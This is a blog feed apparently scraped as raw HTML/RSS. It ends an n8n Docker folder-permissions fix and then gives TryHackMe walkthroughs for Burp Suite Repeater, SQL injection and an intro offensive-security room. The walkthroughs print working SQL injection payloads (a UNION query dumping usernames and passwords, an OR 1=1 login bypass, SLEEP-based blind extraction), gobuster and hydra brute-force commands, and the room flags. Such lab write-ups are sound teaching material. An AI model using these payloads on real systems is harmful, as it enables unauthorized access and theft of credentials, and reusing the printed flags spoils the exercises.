&lt;p&gt;If you look at the &lt;code&gt;STATUS&lt;/code&gt; column and see &lt;code&gt;Restarting&lt;/code&gt;, it means n8n is trying to boot up, crashing, and trying again.&lt;/p&gt;
&lt;p&gt;To see exactly why it is crashing, we need to check the logs. Be careful here—if you just type &lt;code&gt;docker logs n8n&lt;/code&gt;, you might get an error saying &lt;code&gt;No such container: n8n&lt;/code&gt;. This is because Docker Compose automatically prefixes container names based on the directory.&lt;/p&gt;
&lt;p&gt;Check the &lt;code&gt;NAMES&lt;/code&gt; column from your &lt;code&gt;docker ps&lt;/code&gt; output. In this case, the container is actually named &lt;code&gt;n8n-n8n-1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Let&apos;s pull the correct logs:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker logs n8n-n8n-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.C_vZ3PoX_Z2qIQNH.webp&quot; alt=&quot;log n8n&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Step 4: The Fix (Folder Permissions)&lt;/h2&gt;
&lt;p&gt;Looking at the logs, the culprit reveals itself: &lt;code&gt;Error: EACCES: permission denied, open &apos;/home/node/.n8n/config&apos;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Because we manually created the &lt;code&gt;/opt/n8n/data&lt;/code&gt; folder as the &lt;code&gt;root&lt;/code&gt; user on the host machine, the n8n Docker container (which runs internally as user &lt;code&gt;1000&lt;/code&gt;) does not have the correct permissions to read or write files to it.&lt;/p&gt;
&lt;p&gt;The fix is a simple, single command to change the ownership of that specific folder:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chown -R 1000:1000 /opt/n8n/data
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once the permissions are updated, navigate back to your n8n directory (if you aren&apos;t there already) and restart the container so it can try booting up again:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cd /opt/n8n
docker compose restart
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step 5: Verification&lt;/h2&gt;
&lt;p&gt;Finally, let&apos;s verify that the container is stable. Run:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;docker ps
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.B3vVZPVl_1fqxC9.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;If the status now says &lt;code&gt;Up&lt;/code&gt; and stays up for more than a few seconds, you have successfully fixed the issue!&lt;/p&gt;
&lt;p&gt;Give n8n about 30 seconds to initialize its internal database, then refresh your web browser.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.Cu6JngMI_1h0Bxp.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;The 503 error should be completely gone, and you will be greeted by the n8n setup screen. Happy automating!&lt;/p&gt;
&lt;hr&gt;</content:encoded><h:img src="/_astro/1.C9-gcFM6.webp"/><enclosure url="/_astro/1.C9-gcFM6.webp"/></item><item><title>Burp Suite: Repeater | TryHackMe Write-up</title><link>https://farros.co/blog/burp-suite-repeater-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/burp-suite-repeater-tryhackme-write-up/</guid><description>Complete walkthrough for Burp Suite: Repeater TryHackme room. Learn how to use Repeater to duplicate requests in Burp Suite.</description><pubDate>Thu, 09 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/burpsuiterepeater&quot;&gt;Burp Suite: Repeater&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Introduction&lt;/h2&gt;
&lt;p&gt;This room explores the advanced capabilities of the Burp Suite Repeater module, building upon the foundations of the Burp Basics room. You will learn how to manipulate and resend captured requests for manual testing. To follow along, you need to deploy the target VM and start your AttackBox or personal environment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Let&apos;s get started!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: What is Repeater?&lt;/h2&gt;
&lt;p&gt;Burp Suite Repeater allows us to modify and resend intercepted requests to a target for manual exploration and endpoint testing. The interface consists of six main sections: Request List, Request Controls, Request and Response View, Layout Options, Inspector (which provides a user-friendly way to analyze/modify requests), and Target.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which sections gives us a more intuitive control over our requests?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Inspector&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Basic Usage&lt;/h2&gt;
&lt;p&gt;To use Repeater, you first capture a request in the Proxy module and send it over (using right-click or &lt;code&gt;Ctrl + R&lt;/code&gt;). Once sent, the request populates the Request view. Clicking &quot;Send&quot; will execute the request and populate the Response view on the right. You can freely edit the request text and use the history buttons to navigate back and forth through your modifications.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which view will populate when sending a request from the Proxy module to Repeater?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Request&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 4: Message Analysis Toolbar&lt;/h2&gt;
&lt;p&gt;Repeater offers four presentation options for analyzing responses: Pretty (the default, slightly formatted view), Raw (unmodified response), Hex (byte-level representation), and Render (visualized as a web browser page). There is also a &quot;Show non-printable characters&quot; button (&lt;code&gt;\n&lt;/code&gt;) to display carriage returns and newlines, which is useful for interpreting HTTP headers.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which option allows us to visualize the page as it would appear in a web browser?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Render&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 5: Inspector&lt;/h2&gt;
&lt;p&gt;The Inspector is a supplementary tool on the right-hand side of the screen that breaks down requests and responses into a visually organized, tabular format. It allows you to easily view, add, edit, or remove components like Request Attributes, Query Parameters, Body Parameters (specific to POST requests), Cookies, and Headers without manually typing them in the raw editor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Which section in Inspector is specific to POST requests?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Body Parameters&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 6: Practical Example&lt;/h2&gt;
&lt;p&gt;Repeater shines when you need to repeatedly send similar requests with minor tweaks, such as testing for SQL injection or bypassing firewalls. In this practical example, the goal is to capture a simple request to the root directory, send it to Repeater, and manually add a custom header (&lt;code&gt;FlagAuthorised: True&lt;/code&gt;) to manipulate the server into returning a flag.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag you receive?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Okay, set the IP target to Mozilla Firefox, but first don&apos;t forget to enable FoxyProxy for Burp and enable the intercept feature in Burp.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.q2tjXy83_1WqBTg.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then the burp will be the response and just right click then select send to repeater. After that right click, select &quot;send to repeater&quot;, next add this parameter: FlagAuthorized: True, finally click send.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.C1K381Lk_Z1ys1HN.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{Yzg2MWI2ZDhlYzdlNGFiZTUzZTIzMzVi}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 7: Challenge&lt;/h2&gt;
&lt;p&gt;This task requires you to test the input validation of a specific endpoint. By navigating to &lt;code&gt;/products/&lt;/code&gt; and clicking a link, you are taken to a numeric endpoint (e.g., &lt;code&gt;/products/3&lt;/code&gt;). You need to intercept this request, forward it to Repeater, and test what happens when you alter the ID parameter to an extreme or invalid input to force a server error.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Enable intercept again and capture a request to one of the numeric products endpoints in the Proxy module, then forward it to Repeater.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;See if you can get the server to error out with a &quot;500 Internal Server Error&quot; code by changing the number at the end of the request to extreme inputs.&lt;/strong&gt;
&lt;strong&gt;What is the flag you receive when you cause a 500 error in the endpoint?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this section. First, use the numeric path like /products/1 and then send to repeater.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-2.CgCbm33o_Z12JMtr.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;After that, you can try entering any number in the path. At extreme positive numbers, I only see a &quot;page not found&quot; error like 999999, but when I try with negative numbers, I get a 500 internal error. Allright, and we&apos;ll get to the flag.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{N2MzMzFhMTA1MmZiYjA2YWQ4M2ZmMzhl}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 8: Extra-mile Challenge&lt;/h2&gt;
&lt;p&gt;This challenge requires you to manually exploit a Union SQL Injection vulnerability on the &lt;code&gt;/about/ID&lt;/code&gt; endpoint. By submitting an invalid ID with a single quote (&lt;code&gt;/about/2&apos;&lt;/code&gt;), the server leaks the SQL query structure in a 500 Error. Using this leaked information, you can craft a &lt;code&gt;UNION ALL&lt;/code&gt; payload to extract column names from the &lt;code&gt;information_schema&lt;/code&gt; and ultimately query the &lt;code&gt;notes&lt;/code&gt; column for the CEO (ID &lt;code&gt;1&lt;/code&gt;) to retrieve the final flag.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exploit the union SQL injection vulnerability in the site.&lt;/strong&gt;
&lt;strong&gt;What is the flag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-3.G3xBgUOn_Z1QLqub.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;First of all we need to intercept this path first /about/2 and send to repeater (Ctrl + R).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-4.DpgC6Gh4_mPG7W.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then, add &apos; after the path to display the error. After that, we can see the 500 internal server error. And we can see about the SQL request in the response.&lt;/p&gt;
&lt;p&gt;This is an extremely useful error message that the server should absolutely not be sending us, but the fact that we have it makes our job significantly more straightforward.&lt;/p&gt;
&lt;p&gt;run this sql payload to get the flag /about/0 UNION ALL SELECT notes,null,null,null,null FROM people WHERE id = 1&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-5.FdRGmALa_Z1Mtiqc.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;/about/0&lt;/code&gt;&lt;/strong&gt;: The &lt;code&gt;0&lt;/code&gt; is likely an intentionally invalid ID meant to make the original database query return an empty result.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;UNION ALL&lt;/code&gt;&lt;/strong&gt;: This SQL command combines the results of the application&apos;s original query with the attacker&apos;s new, injected query.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;SELECT notes, null, null, null, null&lt;/code&gt;&lt;/strong&gt;: The attacker is attempting to steal data from a column named &lt;code&gt;notes&lt;/code&gt;. The four &lt;code&gt;null&lt;/code&gt; values are necessary because a &lt;code&gt;UNION&lt;/code&gt; operation requires both combined queries to have the exact same number of columns.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;FROM people&lt;/code&gt;&lt;/strong&gt;: This targets a specific table in the database named &lt;code&gt;people&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;WHERE id = 1&lt;/code&gt;&lt;/strong&gt;: This filters the requested data, specifically aiming to extract the &lt;code&gt;notes&lt;/code&gt; belonging to the user with an ID of &lt;code&gt;1&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Task 9: Conclusion&lt;/h2&gt;
&lt;p&gt;You have successfully completed the Burp Suite Repeater room and learned how to edit, manipulate, and resend requests manually. The next step in your learning path is the Burp Suite Intruder room, which focuses on automating these customized attacks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;I can use Burp Suite Repeater!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.jJ8y9Zt-.webp"/><enclosure url="/_astro/1.jJ8y9Zt-.webp"/></item><item><title>SQL Injection | TryHackMe Write-up</title><link>https://farros.co/blog/sql-injection-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/sql-injection-tryhackme-write-up/</guid><description>Complete walkthrough for SQL Injection TryHackme room. Learn how to detect and exploit SQL Injection vulnerabilities</description><pubDate>Sun, 05 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/sqlinjectionlm&quot;&gt;SQL Injection&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: Brief&lt;/h2&gt;
&lt;p&gt;SQL (Structured Query Language) Injection (SQLi) is one of the oldest and most damaging web application vulnerabilities. It occurs when a web application passes unvalidated user input into a database query, allowing an attacker to execute malicious commands. This can lead to the theft, deletion, or alteration of private customer data and bypass authentication mechanisms.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What does SQL stand for?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Structured Query Language&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 2: What is a Database?&lt;/h2&gt;
&lt;p&gt;A database is an electronic system for storing organized collections of data, controlled by a Database Management System (DBMS). In relational databases (like MySQL or PostgreSQL), data is stored in tables consisting of columns (fields with specific data types like integers or strings) and rows (records). Tables often share information using unique primary keys. Non-relational databases (NoSQL, like MongoDB) offer more flexibility by not strictly requiring a table, row, and column structure.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the acronym for the software that controls a database?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;DBMS&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What is the name of the grid-like structure which holds the data?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Table&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 3: What is SQL?&lt;/h2&gt;
&lt;p&gt;SQL is the language used to query and interact with relational databases. Key statements include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;SELECT&lt;/code&gt;: Retrieves data (e.g., &lt;code&gt;SELECT * FROM users&lt;/code&gt;). You can use &lt;code&gt;LIMIT&lt;/code&gt; to restrict results and &lt;code&gt;WHERE&lt;/code&gt; or &lt;code&gt;LIKE&lt;/code&gt; (with &lt;code&gt;%&lt;/code&gt; wildcards) to filter for specific data.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UNION&lt;/code&gt;: Combines the results of two or more &lt;code&gt;SELECT&lt;/code&gt; statements, provided they have the same number of columns and data types.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;INSERT&lt;/code&gt;: Adds new rows of data into a table.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UPDATE&lt;/code&gt;: Modifies existing data within a table based on specified conditions.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DELETE&lt;/code&gt;: Removes rows of data from a table.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What SQL statement is used to retrieve data?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;SELECT&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What SQL clause can be used to retrieve data from multiple tables?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;UNION&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;What SQL statement is used to add data?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;INSERT&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 4: What is SQL Injection?&lt;/h2&gt;
&lt;p&gt;SQL Injection is introduced when unvalidated user input is directly appended into a database query. For example, if an application blindly trusts a URL parameter like &lt;code&gt;id=1&lt;/code&gt;, an attacker can change it to &lt;code&gt;id=2;--&lt;/code&gt;. The semicolon (&lt;code&gt;;&lt;/code&gt;) tells the database that the current SQL statement has ended, and the double dashes (&lt;code&gt;--&lt;/code&gt;) treat the remainder of the legitimate query as a comment, allowing the attacker&apos;s injected logic to execute instead.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What character signifies the end of an SQL query?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 5: In-Band SQLi&lt;/h2&gt;
&lt;p&gt;In-Band SQLi is the easiest to detect and exploit because the attacker uses the same communication channel to launch the attack and gather the results. There are two main types:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Error-Based:&lt;/strong&gt; The attacker injects characters (like &lt;code&gt;&apos;&lt;/code&gt; or &lt;code&gt;&quot;&lt;/code&gt;) to intentionally break the query. The resulting database error messages are displayed on the webpage, revealing the database structure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Union-Based:&lt;/strong&gt; The attacker uses the &lt;code&gt;UNION SELECT&lt;/code&gt; operator to append additional results to the page, making it the most common way to extract large amounts of data (such as querying &lt;code&gt;information_schema&lt;/code&gt; to find table and column names).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What is the flag after completing level 1?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Actually, you just need to run the script that has been given from the task, and the last script is the script to get all the user passwords.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;0 UNION SELECT 1,2,group_concat(username,&apos;:&apos;,password SEPARATOR &apos;&amp;#x3C;br&gt;&apos;) FROM staff_users
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.wNERyOpR_Z16CLSw.webp&quot; alt=&quot;level 1&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{SQL_INJECTION_3840}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 6: Blind SQLi - Authentication Bypass&lt;/h2&gt;
&lt;p&gt;Blind SQLi occurs when the application is vulnerable, but error messages are disabled, meaning the attacker gets little to no direct feedback. One of the simplest forms is Authentication Bypass. Login forms often just ask the database if a username and password match (true or false). By entering a payload like &lt;code&gt;&apos; OR 1=1;--&lt;/code&gt; into the password field, the attacker forces the database to evaluate the query as &quot;true,&quot; bypassing the login entirely without needing valid credentials.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag after completing level two?&lt;/strong&gt; (and moving to level 3)&lt;/p&gt;
&lt;p&gt;Just use this script: &lt;code&gt;&apos; OR 1=1;--&lt;/code&gt; .Where the SQL query is: &lt;code&gt;select * from users where username=&apos;&apos; and password=&apos;&apos; OR 1=1;--&apos; LIMIT 1; and get success to pass&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{SQL_INJECTION_9581}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 7: Blind SQLi - Boolean Based&lt;/h2&gt;
&lt;p&gt;Boolean-based SQLi relies entirely on the application&apos;s response changing based on a true or false outcome (e.g., a &quot;username taken&quot; vs. &quot;username available&quot; message). By injecting conditional statements and wildcard operators (like &lt;code&gt;database() like &apos;a%&apos;&lt;/code&gt;), an attacker can observe if the condition is true or false. Through a process of elimination, they can enumerate the database name, tables, columns, and data character by character.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the flag after completing level three?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In this section, you just need to understand the explanation in the assignment where we need to try various ways one by one for each character, starting from the database name, column name, field name, username, and password.&lt;/p&gt;
&lt;p&gt;This enumeration process leads us to get the admin user and the password is 3845 and you will get the flag.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{SQL_INJECTION_1093}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 8: Blind SQLi - Time Based&lt;/h2&gt;
&lt;p&gt;Time-Based Blind SQLi is used when the application gives absolutely no visual indicators—no error messages and no true/false behavior differences. Instead, the attacker infers success based on the time the server takes to respond. By injecting time delay commands like &lt;code&gt;SLEEP(5)&lt;/code&gt;, if the server pauses for 5 seconds before loading the page, the injected condition evaluated to true. This allows the same character-by-character enumeration used in Boolean-based SQLi.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the final flag after completing level four?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is another enumeration process, but time-based. In this method, I reduced the time from 5 to 1 second to speed up the process. Okay, so since we&apos;re on task 4 and already predicted the database name is sqli_four,&lt;/p&gt;
&lt;p&gt;So, you can validate with this payload to get the correct response: &lt;code&gt;referrer=admin123&apos; UNION SELECT SLEEP(5),2 where database() like &apos;sqli_four&apos;;--&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Okay, since this method is the same as level three, I assume the other fields are the same. And when tested with the admin username, the response remains correct. Then we can verify whether the difference lies in the admin user&apos;s password.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;referrer=admin123&apos; UNION SELECT SLEEP(1),2 from users where username=&apos;admin&apos; and password like &apos;4%&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The answer is correct. You can continue numbering up to 4 digits.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.Drs-8wYv_24wsyQ.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;p&gt;And this is the correct password that I found&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;THM{SQL_INJECTION_MASTER}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 9: Out-of-Band SQLi&lt;/h2&gt;
&lt;p&gt;Out-of-Band SQLi is less common and relies on two different communication channels. The attacker uses one channel (like a standard web request) to inject the malicious payload, and the database uses a second channel to send the stolen data back to the attacker. This often involves forcing the database server to make an external network call, such as an HTTP or DNS request, to a machine controlled by the attacker.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Name a protocol beginning with D that can be used to exfiltrate data from a database.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;DNS&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Task 10: Remediation&lt;/h2&gt;
&lt;p&gt;Developers can protect web applications from SQL Injection by implementing the following practices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Prepared Statements (Parameterized Queries):&lt;/strong&gt; The SQL structure is defined first, and user inputs are treated strictly as parameters/data, preventing them from modifying the query structure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Input Validation:&lt;/strong&gt; Employing allow-lists to strictly restrict input to expected strings, or filtering out malicious characters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Escaping User Input:&lt;/strong&gt; Adding a backslash (&lt;code&gt;\&lt;/code&gt;) before special characters (like &lt;code&gt;&apos;&lt;/code&gt; or &lt;code&gt;&quot;&lt;/code&gt;) so the database reads them as normal string text rather than executable commands.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Name a method of protecting yourself from an SQL Injection exploit.&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Prepared Statements&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Thanks for reading. See you in the next lab.&lt;/p&gt;</content:encoded><h:img src="/_astro/1.jXbdvAxk.webp"/><enclosure url="/_astro/1.jXbdvAxk.webp"/></item><item><title>Become a Hacker | TryHackMe Write-up</title><link>https://farros.co/blog/become-a-hacker-tryhackme-write-up/</link><guid isPermaLink="true">https://farros.co/blog/become-a-hacker-tryhackme-write-up/</guid><description>Complete walktrough for Become a Hacker TryHackme room. Explore offensive security, the hacker mindset, and hack a web app to improve security!</description><pubDate>Fri, 03 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is my write-up for the TryHackMe room on &lt;a href=&quot;https://tryhackme.com/room/becomeahacker&quot;&gt;Become a Hacker&lt;/a&gt;. Written in 2026, I hope this write-up helps others learn and practice cybersecurity.&lt;/p&gt;
&lt;h2&gt;Task 1: What Is Offensive Security?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;
Offensive security involves proactively testing systems to identify and fix weaknesses before malicious attackers can exploit them. Unlike regular users, ethical hackers (or penetration testers) systematically observe how systems handle unexpected inputs and attempt to chain weaknesses together. This task sets the foundation, explaining that ethical hacking is always permission-based, structured, and legal.&lt;/p&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/insideacomputer&quot;&gt;Inside a Computer System&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tryhackme.com/room/linuxclibasics&quot;&gt;Linux CLI Basics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;I understand the learning objectives and am ready to learn about Offensive Security!&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;No answer needed&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 2: Finding Weaknesses&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;
This task introduces core offensive security terminology: Red Teaming, Penetration Test, Vulnerability, Exploit, and Scope. The most important rule in ethical hacking is having explicit &lt;strong&gt;permission&lt;/strong&gt; to test a system within a defined scope. In the hands-on scenario, you are tasked with finding exposed hidden pages on a target website (&lt;code&gt;http://www.onlineshop.thm/&lt;/code&gt;). You can discover these directories manually by guessing URLs or by using automated discovery tools like &lt;strong&gt;Gobuster&lt;/strong&gt; to run a dictionary-based directory brute-force attack.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Using the manual or automated methods described above, what hidden web page did you discover?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Just run this script in terminal to find informative paths&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;gobuster dir --url http://www.onlineshop.thm/ -w /usr/share/wordlists/dirbuster/directory-list.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image.B3UhiTV0_Z2hy1Bi.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;/login&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Based on your Gobuster scan results, what status code is returned when accessing the hidden page?&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;200&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;Task 3: Exploiting Weaknesses&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt;
Ethical hackers often find success by chaining multiple small weaknesses together to create a significant impact (like a domino effect). To be successful, you must think like an adversary: question assumptions, test unexpected inputs, and identify valuable targets (sensitive data, admin features, etc.). In the practical exercise, you exploit the hidden login page discovered in Task 2. You use a dictionary attack to guess the &lt;code&gt;admin&lt;/code&gt; password, both manually and by leveraging an automated password-cracking tool called &lt;strong&gt;Hydra&lt;/strong&gt; (&lt;code&gt;hydra -l admin -P passlist.txt...&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Using either manual testing or an automated dictionary attack, what password did you discover for the admin user?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Just run this script in terminal to find the password:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;hydra -l admin -P passlist.txt &amp;#x3C;www.onlineshop.thm&gt; http-post-form &quot;/login:username=^USER^&amp;#x26;password=^PASS^:F=incorrect&quot; -V
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://farros.co/_astro/image-1.Dm6OmvJX_Z2GTN9.webp&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;qwerty&lt;/p&gt;
&lt;/blockquote&gt;
